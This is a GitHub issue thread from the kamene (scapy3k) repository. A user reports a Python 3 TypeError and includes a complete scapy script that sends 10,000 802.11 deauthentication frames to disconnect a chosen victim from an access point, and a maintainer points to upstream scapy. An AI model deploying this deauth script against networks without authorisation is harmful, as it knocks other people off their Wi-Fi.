phaethon / kamene

Network packet and pcap file crafting/sniffing/manipulation/visualization security tool. Originally forked from scapy in 2015 and providing python3 compatibility since then.
GNU General Public License v2.0
867 stars 192 forks source link

Dot11 frame Possible Bug #177

Closed OblackatO closed 6 years ago

OblackatO commented 7 years ago

I was writing a Deauth script with python that deauthenticates clients from AP, but I was not able to make it run. I tried to use scapy for python2.7 and the exact same code (with the a few lines adapted for python2.7) work fine. Here's the code :

`from scapy.all import * 

victim_mac = raw_input('Enter the MAC of victim:')
router_mac = raw_input('Enter the BSSID of router:')

def attack_deauth():
    radio_p = RadioTap()
    dot11_frame = Dot11(addr1=victim_mac,addr2=router_mac,addr3=router_mac)
    deauth = Dot11Deauth()
    frame_f = radio_p/dot11_frame/deauth
    sendp(frame_f,iface='wlan0mon', count=10000,inter=0.02)

attack_deauth()
` 

Here's the TraceBack of the error : _Traceback (most recent call last): File "deauth_client.py", line 13, in attack_deauth() File "deauth_client.py", line 11, in attack_deauth sendp(frame_f,iface='wlan0mon', count=100,inter=0.5) File "/usr/local/lib/python3.5/dist-packages/scapy/sendrecv.py", line 263, in sendp gen_send(conf.L2socket(iface=iface, *args, **kargs), x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime) File "/usr/local/lib/python3.5/dist-packages/scapy/sendrecv.py", line 238, in __gen_send s.send(p) File "/usr/local/lib/python3.5/dist-packages/scapy/supersocket.py", line 31, in send sx = bytes(x) File "/usr/local/lib/python3.5/dist-packages/scapy/packet.py", line 289, in bytes__ return self.build() File "/usr/local/lib/python3.5/dist-packages/scapy/packet.py", line 357, in build p = self.do_build() File "/usr/local/lib/python3.5/dist-packages/scapy/packet.py", line 346, in do_build pkt = self.self_build() File "/usr/local/lib/python3.5/dist-packages/scapy/packet.py", line 337, in self_build p = f.addfield(self, p, val) File "/usr/local/lib/python3.5/dist-packages/scapy/fields.py", line 153, in addfield if self._evalcond(pkt): File "/usr/local/lib/python3.5/dist-packages/scapy/fields.py", line 144, in evalcond return self.cond(pkt) File "/usr/local/lib/python3.5/dist-packages/scapy/layers/dot11.py", line 130, in ConditionalField(LELongField('tsft', 0), lambda pkt: pkt.getdictval('present')['TSFT']), File "/usr/local/lib/python3.5/dist-packages/scapy/packet.py", line 184, in getdictval return fld.i2dict(self, v) File "/usr/local/lib/python3.5/dist-packages/scapy/fields.py", line 919, in i2dict if x & 1: TypeError: unsupported operand type(s) for &: 'NoneType' and 'int'

After my researches this kind of error happens when one of the attributes of a certain function do have a NoneType or int value and they are not supposed to have them. I tried to convert all the attributes (mac of client, and router) to a string and it still did not work.

I hope that someone could correct the error.

Cheers

gpotter2 commented 6 years ago

Hi !

This issue has been resolved on the original scapy fork, which now supports Python 3 ! This fork (scapy3k) is missing many updates, bug fixes and tweaks. You can have a look at https://github.com/secdev/scapy to get more support !

Have a good day

OblackatO commented 6 years ago

Lovely.